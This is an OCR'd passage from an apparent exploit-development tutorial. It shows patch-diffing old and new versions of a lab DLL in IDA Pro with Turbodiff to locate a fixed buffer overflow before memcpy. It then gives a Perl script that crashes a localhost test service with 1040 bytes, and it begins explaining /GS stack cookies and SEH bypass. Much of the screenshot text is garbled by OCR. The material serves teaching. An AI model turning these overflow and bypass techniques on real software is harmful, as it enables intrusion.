temms and conditions of this Agreement. DataRescues sa/nv reserves any

right not expresshy ganted to you. You own the media on which the ﬂ

{+ 1 accept the agreement:

{~ | do not accept the agreement

< Back et = Cancel

give the directory install to, and click on next again

31/122
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| setup - IDA Pro Free v4.9

Select Destination Location
Where should IDA Pro Free v4.9 be installed?

I Setup will install I[DA Pro Free v4.5 into the following folder.

To continue, click Mext. ff you would like to select a different folder, click Browse.

I “Program Fles'\IDA Free Browse... |

At least 229 MB of free disk space is required.

< Back et = Cancel

I created a desktop icon, to start it easier, but it depends on your taste if you want or not. Then click
on next.

4 | setup - IDA Pro Free v4.9 P ] |

Select Additional Tasks
Which additional tasks should be pefarmed?

Select the additional tasks you would like Setup to perform while installing IDA Pro Free
v4. 5, then click MNext.

Additional icons:

¥ Create a deshktop icon:

< Back et = Cancel

On the final screen click finish to install.
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| setup - IDA Pro Free v4.9

Ready to Install
Setup is now ready to begin installing 10A Pro Free v4.9 on your computer.

Click Install to continue with the installation, or click Back: i you want to review ar
change any settings.

Destination location: :l
C:"Program Files“IDA Free

Additional tasks:
Additional icons:
Create a desktop icon

< Back

After the finish of installation you do not have to start the Ida yet, firt we have to copy the turbodiff
to the plugin directory.

4 | setup - IDA Pro Free v4.9 P ] |

[m m:@ Completing the IDA Pro Free v4.9
> Setup Wizard
i Al i,

Setup has finished instaling IDA Pro Free v4.5 on your
computer. The application may be launched by selecting the
ingtalled icons.

Click Finish to exit Setup.

Freeware
Version 4.9

Datarezcue 2007

Go to the directory of Turbodiff.
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E turbodiff-for-free-ida_v1.0.1b2.zip

'« (—:p | 1, ~ Computer ~ Local Disk {C:) + turbodiff-for-free-ida_v1.0. 1b2.zip -

Eile Edit Vew Tools Help

Organize * 33 Views = | 1) Extract al files

Favorite Links lame = ITI Type I'I _
% ida_free.def Export Definition File
FE' Documents ¢+list.cpp C++ Source
FE Pictures 'f-j string.cpp C++ Source
FB‘- Music 'f-ﬂtl.lrl:u:udiff.l:pp C++ Source
More 3 [ turbodiff ida_free. PLW File

Copy the .plw file to the plugin directory of ida pro 4.9 free (by default it is ¢:\program files\ ida
free\ plugins)

e - - -
||\ ﬁ | . = Computer = Local Disk (C:) = Program Files » IDA Free - plugins

File Edit View Tools Help

Organize = 13 Views =

Fawvorite Links NEII'I'-IE - ITI DE”_:E .mc'dlﬁed ITI Tipe ITI
| |ibdescr.plw 11/1/2007 7:12PM  PLW File
| Documents || pdb.plw 11/1/2007 7:12PM  PLW File
FE Pictures || plugins.cfg 3/18/2007 327 PM CFG File
F[;l Music || win32_user.plw 11/1/2007 7:12PM  PLW File
More ¥ View 3
Sort By L
Folders b Group By ¥
| Program Files 4| Stack By 4
| CMAE Refresh
; Common Files Customize This Folder. ..
) IDA Free
idc Faste Shorkeub
1 Unda C Ctrl+Z
| ids E—
| lnaders Mew +
i
" Properties

Then start the Ida pro.


file:///c:/program
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IDA - The Interactive Dizazsembler

Freeware Yersion 4.9

[c] 2007 D atarescue sadny

Welcome to the freeware edition of The Interachive Dizazsembler Pro.
Thiz werzion iz fully functional but does not offer all the bells and
whistles of the commercial versions of 104 Pro,

Ty the commercial version of ID& Pro today!

bt ey datare scue. com

[T Do not display POF file nest tme ak.

Accept the license agreement.

%
IID.-‘E-. Fro Freeware 4.9 -

Thiz free verzsion of IDA Prois icensed ta you for non-commerncial
uze. Commercial uge requires a nomal [DA Pro license.

Thiz licensze restriction supersedes other provizions in the standard
D4 Pro license below.

The |D& Pro computer programs, hereafter described az "the software"

are icensed, not sold, bo vou by DataRescue sa/ny pursuant to the

terms and conditions of this Agreement. DataRescues za/ny reserves any

right not expressly granted to wow, You own the media on whichk the

zoftware iz delivered but DataRezcue zafny retaing ownerzhip of all —_
copies of the zoftware itzelf. The software iz protected by copyright

law.

The zoftware iz icenzed on a "per uzer'’ baziz. Each copy of the
zoftware can only be uzed by a single uzer at a time. Thiz uzer may
ifiztall the software on kig office warkstation, personal laptop and

home computer, provided that no ather wser uzes the software on those
computerz. Thiz licenze alzo allows pou to

* make az many copies of the installation media az you need for backup

ar installation purpozes.

* reverse-engineer the software.

* with our vritten agreement, tranzfer the zoftware and all nghts under thiz
license bo an other party together with a copy of this icense and all

rmaterial, written or electronic, accompanying the software, provided that the
other party reads and accepts the terms and conditions of this license. You
loze the right to uze the software and all other rights under thiz license when
transferring the software,

| Agree | | Dizagree |
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Click on the new button

E:Welcume to IDAY

M e

Dizazzemble a new file

o

“Whork on pour own

Fievious Load the old dizazzembly

[~ Don't display this dialog box again

Select the PE Dynamic Library as filetype

= _|&| %]
File Edit Jump Search Wiew Debugger Ophions ‘Windows Help
[sE| - -=-||man|i] = =l H#| =+ x| |[2em|e=
[BEEe |2mNa|| sz |em | 7244 e Re |l -] &
[Ren|[eg B - = Nx||-n-vsHKm- 7 : sz||lub||aa¥as
J I ﬂ ﬂ E:Hew disassembly database = O] =] ﬂ
FD&sHandkelds Phones I Conzolas I Erbedded I " arious files I |
Windows | DOS | Unis | Mac | Java | MNET | Various0S's
- -
: o
PE Executable {5SHNIRE T ok PE PE/LE/ME COFF A0MF
Library At Device Driver  Object File
COFF/OMF
Static Librany
Ok, I Cancel
[auto [pown  [pisk |File Position

4
W 7wy 12:51PM

Csa| [nm & [[Gon

Open the old version of the mydIl.dlIl file
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& | select PE Dynamic Library to disassemble

L-:u:ul-:i_n:l J Qld j <) 3 A

< | i

File name: Im;.-dll.u:lll j Open

Files of type:  |PE Dynamic Libraries {*dl) =] Cancel |
r

On the loading wizard click to the next button

PE Dynamic Library file loading Wizard 2] |

Welcome to the PE Dynamic
Library file loading Wizard

Thigz wizard will guide you through the loading of a new
PE file in DA,

Select the advanced aphions you want ka fine tune if
required:;

To continue, click, Mext,

< Back Cancel

=
2
AT

on the segment creation click next button
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PE Dynamic Library file loading Wizard 7] x|

Segment Creation
How must IDA create particular segments defined in the input file?

[+ Create imports segment
[~ Create resources segment

< Back Cancel

=
2

then click on the finish button

PE Dynamic Library file loading Wizard 7] x|

File loading

The input file will now be loaded in 1D,

Click. Finizh bo gtart loading the input file in (D,

< Back I Finish I Cancel
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During the analysis the ida finds some debug information. I selected "No" to the use PDB file,
because in real case you most probably would not have it either.

Please confirm |

D& Pro has determined that the input file wasz linked with debug information.
Do you want to look for the coresponding PDB file at the lozal spmbol store
and the Microsoft Symbol Server?

[~ Daon't display this meszage again

Tes Mo |
The dll is opened.
104 - C\old\mydiLdll ==
File Edit Jump Search VWiew Debugger Options Windows Help
|z@| « -~ || théh || 1 [T =l D4 | =+ x| |B2ED|fE
2ae 2Ny 9ee| o7 |Fra4 [BEs e [ o=
]ggEang;gﬂ . o N ><|| W - § HK i~ ~ JH Do o B JL&%H:‘.&&W&&
1DA Wity | Hen View-.-’-‘«l gﬁ Er:portsl % Impnltsl N Namesl ‘Lf_ﬂ Functinnsl Stlingsl ﬂ Structuresl En Enumsl
]
E DA View-A I ] 3 (=] 3]
.text:188813D4 2| T Hame N
.text:188813D6 hinstDLL = dword ptr 8 F fooichar =int] —
text:18086813D6 fdwReason = dword ptr BCh _| E DiEnt Pc:int
-text:1808013D06 1pReserved = dword ptr 18h o —— u 7
text:-180813D06 ‘l | L4
* .text:106013D6 mou edi, edi |Line2|:|f45 Y
* .text:188813D8 push ebp -
* .text:186813D9 mou ebp, esp | si =10l x|
* .text:108013DE cnp [ebp+fdwReason], 1 .
* .text:188813DF jnz short loc_188813E6 ,’?fd[zsf . Itgggtnhm IE—I
* .text:186613E1 call  sub_10686182n el
.text:180813E6 wadatal.. 00000055 €,
-text:180013E6 loc_188813E6: ; CODE - ¢I | »
*I | ﬂmﬂl 4
File "'C: 01d'\myd11.d11" is successTully loaded into the database. -:J
Compiling Tile 'C:“Program Files“IDA Free\idc‘ida.idc'...
Executing function 'main'...
Compiling file 'C:“Program Files IDA Free\idchonload.idc'...
Executing function 'OnLoad'...
DA is analysing the input file...
You may start to explore the input file right now.
Propagating type information...
Function argument information is propagated

The initial autocanalysis has been Tinished.

[au: idle [Down |Disk: 2068 |o00007D6  |100013D6: DIEntryPoint 4
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Now we start the comparison of binaries. Select edit \ plugins \ turbodiff

File | Edit Jump Search View Debugger Options Windows Help

Copy Cirl+Hns 5 | [ | 1 ||Te:-:t
Begin selection AltH

Select identifier  Shift+Enter ‘ ﬁ [@' [% J $T ‘ i

=
OFf . 70

ﬂgﬁa Code & X dat “ X S " K
[ 8ome >

1
O& 2L i :-:pu:urtsl Iﬁ Impu:urtsl N Namesl ‘LF_I] F

— ":" Strings J
* Aray... wos [
> Undefine
N Rename y [LNStDLL = dword pti
dwReason = dword pti
Operand type ¢ pReserved = dword pti
Comments ¥ i
mov ed:
Structs r mou eh|
Functions ¢ cmp [ EI
nz sni
Other r ..:-I.-.11 =1l
-text:188013E6 ] Borland RTTI Alt+F9
4| Repeat RTTI command  Alt+F5

From the popup window select "take info from this idb" then click OK button.

Choose operation |

turbodiff «1.016 11
Created by Mizolaz &, Economou [ neconomou@corest. com |
Buenos Aires, Argentina [ 2009 |

+ take info framm thiz idb
options | ¢~ campare with ...

" compare funchions with ...
{~ Free comparizon with ...

] Cancel |

On the next window select OK again.
Take the analysis |

turbodiff «1.016 11
Created by Mizolaz &, Economou [ neconomou@corest. com |
Buenos Aires, Argentina [ 2009 |

Impartant: The analysis will be zaved on the curent idb path.

[~ analize undefined functions

k., Cancel
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Save the analysis file.

Then close it.

When the application asks for saving the database select Store, then click on the OK button.

File Edit Jump Search View Debugger Options W
YL AES
= Open... S
Load file p [ ‘ ﬁ [% %
Produce file e N o 0E .
oefe NN
IDC command...  Shift4F2
1= save U | B Exports | B Imp
Save as...
Cloze D6
= . 3D6 hinstDLL
Exit Alt+¥
1 B D6 fdwReason

YIDA - C:\Old\mydiLdll

File Edit Jump Search

View Debugger

Mew...
= Cpen...
Load file
Produce file
IDC file. ..

IDC command...  Shift+F2
[ save Ctrl+w

Save as...

Close

L]

B |

m o
4
= !

=
] Exit

Save database

[0y will zave all changes to the disk.

]|

= Don't pack database
f* Pack database [Store]
" Pack database [Deflate)

[~ Collect garbage
[ DOM'T SAYE the databaze

2k, Cancel

Help

41/122
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Then click on the File \ Open to open the new version of mydll.dll

& ma

File Edit Jump Search View Deb
Mew. .. ﬂ

Fow..
Load fie L
Produce file L

Select the new version of mydll.dll

EjSelect file to disassemble

Lﬂul{i_ﬂ:l L mew j ﬁ j = [ HH-

T i
F'.ECEr'I-t Places ﬁﬂmydll.exp 6/24/2011%:53 AM  Ewxports Library File
D "53 mydll.lib 6/24/20119:53 AM  Cbject File Library 2 KB

[0 patching.exe 6/24/20119:53 4M  Application 3 KE
Desktop

-

Administrator

11!'.15

Computer

*| | I

File name: [ mydila | Oper

Files of type: I;’-‘-.II kniown file extensions I_‘.?}BE;‘.a;‘.app;*.a:d;*.j Cancel L
%
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From the popup window select "Portable executable" as filetype, then click to OK.

x|

Load a new file

Load file C:snewmpdlldll as

MS-005 eecutal:ule [ExE] [u:Iu:us. ]
Binany file

Procezsor type

|ntel 80=86 processors: metapo j Set
_ Analysi
Loading segment IUHUUDDUDDU I7 | Enabled
Loading offset | 000000000 ¥ Indicatar enabled
—Dption
¥ | Create seamerits k.ernel options1
[T Load resources
v Fename DLL entries
[~ Marual load K.ernel optionz2
[T Eill segment gaps
v Make imports segrment Processor options
[T Create FLAT group

Sypstern DLL directory | C:NWindows

] Cancel Help

Again the IDA recognize the debug information, but select "No" to not use the PDB file, because
most of the time you would not have it.

]|

Please confirm

|o| D& Pro has determined that the input file wasz linked with debug information.
ML Do you wank to loaok, for the cormezponding POE file at the local zpmbol ztore

and the Microsoft Symbol Server?

)

[~ Daon't display this meszage again

ez Mo
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The dll opens in the debugger.

&\ IDA - C:\new\mydILdll e x]
Fle Edit Jump Search Y¥iew Debugger Options Windows Help

(B®E| -~ -|[thehtd|B 1 |[Ten =l Z 4 | =+ x| |28m|2=

zue smuy-|swal et 7i4 IHIO\ I ===

(B EOHE - = N X[ - B SHKM~ 7] 2 s wm\l_-r:fgw&;g

| ﬂ__llll_ll-_;l

1D gty | Hex View-.&l iy Er:portsl i Impnrtsl N Namesl b Functinnsl B Stringsl B Structuresl En Enumsl

E A view-A I [ | e =101 x|
.text:180613E9 = | I Hame |
.text:108080813E? hinstDLL = dword ptr 8 F too(char * int) —
-text:1808013E9? fdwReason = dword ptr BCh J E DIIEntl Foint
-text:18086813E? 1pReserved = dword ptr -18h b bt
.text:-188813E9 | | L4
* |- text:180813E9 mov edi, edi Line 20f 45 ~
* .text:100613EB push ebp -
* .text:188813EC mov ebp, esp BE -10] x|
* .text:188013EE cmp [ebp+fdwReason], 1 Add Lenath Ta
* .text:100013F2 inz short loc_1006013F9 — rzsf - I DEEEDDDF I E:.I
* .text:188813F4 call  sub_1888183n e e

.text:100013F9 v data. 00000055+,

textz180613F? loc_1608813F9: ; CODE 4| | »

« | I’mﬂl .

File 'C:'-._r*e'.'."-_'l'vd".d"' is successTully Toaded into the database. :I

Compiling file 'C: PrograT Files\IDA Free'yjdcida.idc'

Executing function 'main'...

Compiling file 'C: Progren Files\IDA Free'yidcionload.didc'...

Executing function 'OnLoad'...

IDA is analysing the input Tile

You may start to explore the 'r'put file right now

Propagating type information.

Function argument 'r'forq'at'or‘ "s ropagated

The initial autocanalysis has been Tinished.

a0 idie [pown |pisk: 2068 [ooooo7E2  [10001384: DIERtryPoint y

Again select the Edit \ Plugins \ TurboDiff

File | Edit Jump Search View Debugger Options Windows Help

Copy Cirl+Ins
Begin selection Alt+HL

Select identifier  Shift+Enter ‘ ﬂ % % ‘ ” T ‘ f
X |g-H-w §HK

||Te:-:t

0101

m m_l E2sh | [ E'1

con Code C
&% pata N NI
1
0& Structvar.. el :-cpu:urtsl % Impcurtsl N Namesl ‘[ﬂ] Fi
"z" Strings L
* Aray... oo
> Undefine u
N Rename instDhLL = dword ptr
duwReason = dword ptr
Operand type ¢ pReserved = dword ptr
Comments k .
mov edli
Segments L push ebp
Structs r mou ebp
Functions 3 cmp [ Eh
nz sno
Other - ne, b
-text:-108013F9 1 Borland RTTI Alt+Fa
4 | Repeat RTTI command  Alt+F5
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Then from the popup windows select "take info from this idb"

Choose operation |

burbiodiff «1.016 1
Created by Micolaz A, Economou | neconomoui@corest. com |
Buenos Aires, Argentina [ 2009 |

+ take info fram thiz idb
optionz | ¢~ compare with ..

" compare functions with ...
" free comparizon with ...

QK Cancel |

On the next window select "OK".

Take the analysis |

turbodiff «1.016 11
Created by Mizolaz &, Economou [ neconomou@corest. com |
Buenos Aires, Argentina [ 2009 |

Impartant: The analysis will be zaved on the curent idb path.

[~ analize undefined functions

k., Cancel

After it finished save the analysis file by file \ Save.

& IDA - C:\new\mydiLdll

File Edit Jump Search View Debugger

Mew. .. ﬂ |

[= Cpen... o
Load file Sl
Produce fille rilx N 3
IDC fie... N

IDC command...  Shift+F2

el o |

Save as...
Close
; E? hin:
1. C\0ld\rydllLidb
e E9 fdul
L Exit alt+x  BE9 1pRi
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Now select again Edit \ Plugins \ turbodiff, to compare the two analysed file.

& IDA - C:\new\mydiLdll

File | Edit Jump Search View Debugger Options Windows Help
E_.T Copy Chrl+ins b | (o | 1 ||TEHt
_ Begin selection Alt+H
= Select identifier  Shift+Enter ‘ ﬂ [@' [% ‘ *T ‘ f
ofF - 3
Bloer coce c | X %M-u-w S HK
[ ]85 pata N N
1
'ﬂ 2 LEsE e e :-:p-:urtsl I% Impu:urtsl N Namesl ."['F_I] F
— ":" Strings J
*® Aray... s [
7% Undefine u |
N Rename N instDhLL = dword ptt
duReason = dword ptr
Operand type ¢ pReseruved = dword ptr
Comments r .
mou ed]
Structs » mou ebj
Functions r cmp [ Et
nz sne
Other 4 .:-I.-.11 =t
text:188813F? 1 Barland RTTI Alt+F3
ql Repeat RTTI command  Alt+F5

From the new popup window select "compare with..." then click on the OK button.

Choose operation

turbadiff +w1.076

Created by Mizolaz &, Economou [ neconomou@corest. com |

Buenos Aires, Argentina [ 2009 |

]|

options

" take info from this idb
% compare with ...

" compare funchions with ...

{~ Free comparizon with ...

Ok

Cancel

46/122
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In the nex window select the old mydll.dll, then click on the Open button.

Echu-use the file to compare

Losk in: | Ju O1d - @7 E

s Mame = ~| Date modified ~| Tags

Ftecer'l-t Flaces

L4

Desktop

"

Administrator

|l;5

1| | i
File name: Irrrj.-'dll.idb j Open
Files of type: I'_i.:ll:. j Cancel |

On the next window click to the OK button

Select options to compare |

turbodiff «1.016 11
Created by Mizolaz &, Economou [ neconomou@corest. com |
Buenos Aires, Argentina [ 2009 |

log file | e

v use symbals

k. Cancel
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You will get the list of the functions. Here search for changed functions, then click to the OK
button.

MEIES
categony address name addresz name -
identical 100017 7e _initterm 1000176e _initkerm
identizal 10001784 _initterm_g 10001774 _initterm_e
identical 1000178a _amzg_enxit 1000177a _amsg_enit
identical 10001730 _ CppecptFilker 10001780 _ Cpp#cptFilker
identical 10007 8d0 _crt_debugger_hook 10001 8c0 _cit_debugager_hook
identical 10001 8dE __clean_type_info_names_internal 10001 8cE __clean_type_info_namesz_internal
identical 1000718de _unlock 10001 8cc _unlock,
identical 100071 8e2 _ dlloresit 10001842 _ dllarexit
identical 1000188 _lock 10001548 _lock,
identical 10001 8ee _ewcept_handlerd_common 100018de _ewcept_handlerd_common
identical 10001 04¢ sub 10007 04F 1000103c sub_ 10007 03C
identical 100010ad sub_ 10007 Qa0 10001053a sub_ 10007094
identical 10001243 sub_ 10001203 100012:0 sub_100012C0
identical 10001 2de sub_ 10007 30E 10001 2cb sub_100073CE
identical 1000151e sub 1000751E 10001500 sub_100071 508
identical 100015ba sub_ 10001564 100015a7 sub_ 10001547
identical 1000153 sub_100015C3 10001560 sub_100015B0
identical 100015da sub 10007508 10001 5c7 sub_100015C7
identical 10001630 sub_ 10001630 10001620 sub_10001620
identical 10001670 sub 10007670 10001EED sub_10007EED
identical 100016c0 sub_100076CO 10001ERD sub_10001EBD
identical 10001736 sub_ 100071736 10001786 sub_10001786
identical 10001 7be sub 10001 7BC 100017 ac sub_ 10001 7AC
identical 100018M sub 10007307 100017A sub_100017F1
identical 1000183a sub_ 10007834, 1000182a sub_10007824
changed foalchar *.int) foolchar *.int)
unmatched 2 - - 10001040 zub_1000104B =

ok I Cancel | Help | Search |

Line 27 of 23

You will get the draw of the old, and the new version of the function next to each other, and you can
start to compare them.
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== WinGraph32 - turbodiff - 1 - foo{char *,int) M=y - WinGraph32 - turbodiff - 2 - foo(char *,int)
Eile View Zoom Move Help Eile View Zoom Move Help
S| alalxel+ [+ oe=s N S| a|alxe|+| [+ o=
ID_0
10001000: chlk=Z4366a
push ebp
ma ebp, esp

push 0FFFFFFFFR
push offset loc_10001A80

moy gax, large fs:0
push Bax
push BCH

sub esp, 40Ch
Moy gax, dword_ 10003018

®ar eax, ebp

moy [ebptvar_18], eax
push ebi

push BS1

push ed1

push eax

Tea gax, [ebp+var_C]
mow large fs:0, eax
mo [ebptvar_10], esp
Moy [ebp+var_4], O
mo eax, [ebptarg_0]
Moy ecx, [eax]

Moy [ebp+var_14], ecw
Moy edx, [ebptvar_14]
push edx

push offset aBytesReceivedl; ‘Bytes re
call ds:printf

add esp, B
Mo gax, [ebptvar_14 ]
push ea ; size_t
moy ecH, [ebp+arg_0]
add ecx, 4
push BCH ; woid #
lea ed«, [ebpt+var_418]
push edx ; woid #
call memcpy
add esp, OCh
o eax, B4h
cdg
1diw [ebp+arg_4]
Moy [ebpt+arg_4], eax
Moy [ebp+wvar_4], OFFFFFFFFh
o ecH, [ebpt+var_C]
o large fs:0, ecx
i pop BCH
o edi
ID_0 EDE Bsi
10001076 : chlk=101394 pop ehx
Mo ecx, [ebp+var_18]
mow eax, B4h Hor ecx, ebp
cdq call sub_100010AB
Tdqv [ebp+arg_4] mo esp, ebp
mow [ebptarg_4], eax Pop ebp
Mo [ebp+var_4], OFFFFFFFFh| [CEt0
[mow ecH, [ebptvar_C]
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Moy large fs:0, ecw
pop BCH

pop edi

pop BE1

pop ebx

maw ecx, [ebp+var_18]
®Or ecx, ebp

call sub_100010B4
Moy esp, ebp

pop ebp

retn

As we can see from the graph there is a branch in the new version what is missing from the old
version. Most probably that corrects an error so we should figure out what does that branc test, in
case of which input some part of the program is left out.

We should find the internal part of the branch in the old version as well, I marked it with a rectangle
in the old version. As we see the memcpy command is in the branch. Now we should find when the
program were enter to the memcpy part, and try if it cause some exception int the old version.

If you check the instructions before the branch there is a jg (jump if greater). So the memcpy will
not run if a value greater than something.

Now check the previous instruction, that is a comparison, as expected before a conditional jump. It
compares the [ebp+var 14] to 0x400 (1024 in decimal). So now we know memcpy will run only, if
the [ebp+var 14] less than 1024. ok now we should figure out what is the value in [ebp+var 14].

If you check the sixth line above the cmp [ebp+var 14], 400h there you find mov [ebp+var 14],
ecx. So the value in [ebp+var 14] is copied from ecx.

Now look at the second line above this mov [ebp+var 14], ecx it is mov ecx, [eax] so the value in
[ebp+var 14] is nothing else but the [eax]. So now we should find what is in [eax]

if you check the line before it is mov eax, [ebp + arg 0]. So in eax there is [ebp + arg 0]

if we put all these together we will get that, the memcpy will run only if the[[ebp + arg_0]] is less
than 1024. it practically means, if the first four bytes of the first argument is less than 1024 the
memcpy will run.

Now we just has to find what arguments are passed to the function foo. It can be done on different
ways, for example one can disassemble the exe as well, and similarly to the previous method follow
back the code from the function call to see what input value is passed there. I do not want to show
practically the same technique again.

So another method what I would like to show now, is a simple "debugger application" can be
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download freely from the blogs.conus.info called as generic trace.

In a comand line one should start it as follows:

gt.exe -l:c:\new\patching.exe bpf=mydll.dll!
foo,args:2,dump args:0x80

=+ Administrator: Command Prompt - gt.exe -kc\new\patching.exe bpf=mydilLditfoo,args:2,dump_args—. M=l |[E1

tngtBdxgt .exe —l:c:isnewspatching.exe bpf=mydll.d11*foo.args: 2. dump_args :Ax8H
eneric tracer B.4 CWIN32>, http:-/sconus.info- gt

ew process: GCisnewspatching.exe, PID=1588

45 zymbols loaded from patching.pdh

ID=1588 iBreakpoint mydll.dl11*foo iz resolved to symbol mydll.dl1t*foo and addres
Bx746316004

23 symhols loaded from muydll.pdh

it says -1 (load) the patching.exe then put a break point to a function call (bpf), when it calls the foo
function in mydlIl.dll (mydll.dll!foo). It requires two arguments (if you do not know the number of
arguments you do not have to give this part), and print 0x80 bytes from the stack when the call
occurs.

Then a new window appears, type there any number:

v gt.exe -bkonew)patching.exe bpf=mydiLdifoo,args:2,dump_args:0xc80
nter a numbher if B division by zero fires the exception handler: o

Then start another window. We know that, the application listens at port 12345 so connect to it with
netcat and send to the application some data:

v Administrator: Command Prompt - c\nc.exe 127.0.0.1 12345

sOldxcisnc.exe 127.8.8.1 12345
BCDEFGHI JELMNOPQRSTUUWE _

the generic trace will print the next:
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[z+.| Administrator: Command Prompt - Ol x|

sgtldxgt exe —l:ic:wnewspatching.exe bpf=mudll.dl1t*foo.args:2 . dump_args:AxB80
eneric tracer B.4 CWIN32>, http:-/sconus.info- gt

ew process: GCisnewspatching.exe, PID=1588

4% symhols loaded from patching.pdhb

ID=1588 iBreakpoint mydll.dl11*foo iz resolved to symbol mydll.dl1t*foo and addres
Bx7463160004

23 symhols loaded from myudll.pdh

ID=15%88ITID=28241(@> mydll_.dl1t*foo <(BxlZef3I8, Bx21> (called from Bx481268 <(patc
ing.exetmain+8x2682>

ump of buffer at argument 1 (starting at 1>

gaBAEeA: 41 42 43 44 45 46 47 48-49 40 4B 4C 4D 4E 4F 58 "ABCDEFGHI JKLMHOP''
AAAAA1IA: 51 52 53 54 55 56 57 S58-8BA CC @A 77 F8 24 25 AA "QRSTUUMWE .. w.5x."
A0AAEZ2A: A8 EF 12 0@ A8 F1 12 86-84 Fe 12 8@ 84 FY 12 88 v __ ... ........ "
AABAE3IA: B0 BB B0 BP BA B1 B0 BB-FE FF FF FF 88 81 @88 a8 “_____ .. ......... "
AaBAE4a: FC F3 12 88 3C 11 17 76-81 00 00 00 00 B0 88 a8 .. <. . v........ "
AABAE5A: A8 EF 12 U@ OO B0 B8 B6-84 Fe 12 8@ FC F3 12 @@ “._ .. ... ......... "
AABABE6A: 6F 11 17 76 B8 F1 12 86-CC CC 88 B8 BE B0 BF B8 “o_..v............ "
ARBAEA: 20 08 O1 OO B2 B0 B3 B6-B4 OO BS OB B6 BB A7 88 Y ... ... ...... "
ID=15%88ITID=28241(B> mydll.d1l1*foo -> 3

ump difference of bhuffer at argument 1 <starting at 12

iﬁ;15BBIPPucess exit, return code @

hngtB4l

Here is the whole answer, I bolded the interesting part:

C:\gtO04>gt.exe -l:c:\new\patching.exe bpf=mydll.dll!foo,args:2,dump args:0x80
generic tracer 0.4 (WIN32), http://conus.info/gt

New process: C:\new\patching.exe, PID=1540

145 symbols loaded from patching.pdb

PID=1540|Breakpoint mydll.dll!foo is resolved to symbol mydll.dll!foo and addres
s 0x74621000

123 symbols loaded from mydll.pdb

PID=1540|TID=3240| (0) mydll.dll!foo (0x1l2ef38, 0x21l) (called from 0x401268 (patc
hing.exe!main+0x268))

Dump of buffer at argument 1 (starting at 1)

00000000: 41 42 43 44 45 46 47 48-49 4A 4B 4C 4D 4E 4F 50 "ABCDEFGHIJKLMNOP"
00000010: 51 52 53 54 55 56 57 58-0A CC 0OA 77 DO 24 1F 00 "QRSTUVWX...w.S$S.."
00000020: A8 EF 12 00 A8 F1 12 00-84 F6 12 00 84 F7 12 00 M. . eeennnnnn. "
00000030: 00 00 00 00 00 01 00 OO-FE FF FF FF 00 01 00 00 "...iiieiinnn... "
00000040: FC F3 12 00 3C 11 17 76-01 00 00 00 00 00 00 00 "....<..V.eeee... "
00000050: A8 EF 12 00 00 00 00 00-84 F6 12 00 FC F3 12 00 M., "
00000060: 6F 11 17 76 B8 F1 12 00-CC CC 00 00 OE 00 OF 00 "O..V.eueuerwuunenn. "
00000070: 20 00 01 00 02 00 03 00-04 00 05 00 06 00 07 00 ™ ... "
PID=1540|TID=3240]| (0) mydll.dll!'foo -> 3

Dump difference of buffer at argument 1 (starting at 1)

PID=1540|Process exit, return code 0

We can see that, the two value we entered is passed to the mydll.dll foo function. The first argument
is a string, what we send by netcat, and the second one is the number we typed in the window (0x21
=33).

So we could figure out, the first four bytes of the data sent to the application must be the length of
the string we type after it, and it should be no longer than 1024 bytes.
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Now we can start to develop the exploit to this application. First test the theory, if we send more
than 1024 character to the application it will die. To do it we write the next perl code, it connects to
the 127.0.0.1:12345 then sends it 1040 letter "A" and the length of the 1040 "A" :

use I0::Socket;

my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",
PeerPort => '12345",

Proto => 'tcp',

) ;

die "Error: $!\n" unless $sock;
my $line = "A" x 1040;

my $len = length $line;

my Smsg = pack "L", S$len;

print $sock $msg . Sline;

close ($sock) ;

Let us try it. First start the old application, and when it asks for a number type anything except 0,
then run this perl script.

[+ Administrator: Command Prompt

:s0ld>patching . exe
nter a numbher if B division by zero fires the exception handler:

ytes received: 1844
ytes received: 1848

:01d>

i+ | Administrator: Command Prompt

tw0l1ld>al.pl
w01d>

You will get a nice exception:

;"; Microsoft Windows = =] |

patching.exe has stopped working

Windows is collecting more information about the problem, This might
take several minutes. ..

Do the opposite test, modify the perl script, to send only 1024 letter "A":

use I0::Socket;
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my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",
PeerPort => '12345"',

Proto => 'tcp',

) ;

die "Error: $!\n" unless S$sock;
my $line = "A" x 1024;

my S$len = length $line;

my Smsg = pack "L", Slen;

print $sock $msg . S$Sline;

close ($sock) ;

then we do not get error message:

e+ Administrator: Command Prompt - patching.exe

:s0ld»patching.exe
nter a numher if B division by zero fires the exception handler:

.| Administrator: Command Prompt

w0ldral..pl
=S01d >

Development of the exploit code

Now we know the problem, our next task is to develop an expoit.

We will use the immunity debugger can be downloaded from:
http://www.immunityinc.com/products-immdbg.shtml then install it.

I choose this debugger because it has an extension called mona.py, what can find the possible
addresses to use for /GS bypass. It can be download from: http://redmine.corelan.be/projects/mona
After you dowloaded copy it to the "C:\Program Files\Immunity Inc\Immunity
Debugger\PyCommands" directory

We created this application with visual studio so the stack cookie (/GS) is enabled. What does it
mean. If you recall the stack based exploit writting we wanted to overwrite the saved return address:

the function call is translated to assembly as:

call 0x01234567 |it stores the old EIP on the stack, to be able to return from function

push EBP the first instruction of the function saves the old base pointer, what points



http://redmine.corelan.be/projects/mona
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to the local variables of the function

mov ebp, esp the local variable of this function will start from here

sub esp, 0x40C |we create the local variables

Function body

mov esp, ebp clears the local variables

pop ebp Give back to the caller function its local variables

retn returns after the call, and the program continues the run from there

OLD EIP A

OLD EBP

Direction of overwrite
Local variables

If one able to overwrite a local variable it first overwrites the OLD EBP, and after that OLD EIP, if
the OLD EIP is overwritten, then the return will jump to the position we wrote there instead of the
original one.

Now let us check, how does the Stack cookie (/GS) tries to prevent it:

call 0x01234567 it stores the old EIP on the stack, to be able to return from function
push EBP the first instruction of the function saves the old base pointer, what
points to the local variables of the function
mov ebp, esp the local variable of this function will start from here
sub esp, 0x40C we create the local variables
Function body

Stack cookie check |Before the function returns it checks the stack cookie, is modified
exits from the application without returning so our code does not run.

mov esp, ebp clears the local variables

pop ebp Give back to the caller function its local variables

retn returns after the call, and the program continues the run from there
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OLD EIP A

OLD EBP

Stack cookie

Direction of overwrite
Local variables

As we can see because the stack cookie is before the OLD EBP and OLD EIP if we overwrite the
OLD EIP as earlier the stack cookie will be overwritten as well. But then the security cookie test
fails and the application exits without calling our code.

This prevention mechanism seems to be perfect, but unfortunately (or fortunately depends on your
point of view) it can be bypassed. Let us examine how.

One bypass method is based on the Structure Exception Handlers (SEH). Let us see how it works.
exception handlers are created when the programmer uses the

try

{...}

catch

{...}

structure in the application.

From the try catch block in the application a chained list will born. It will be a chained list, because
the try-catch blocks can be nested. The structure will look like as:
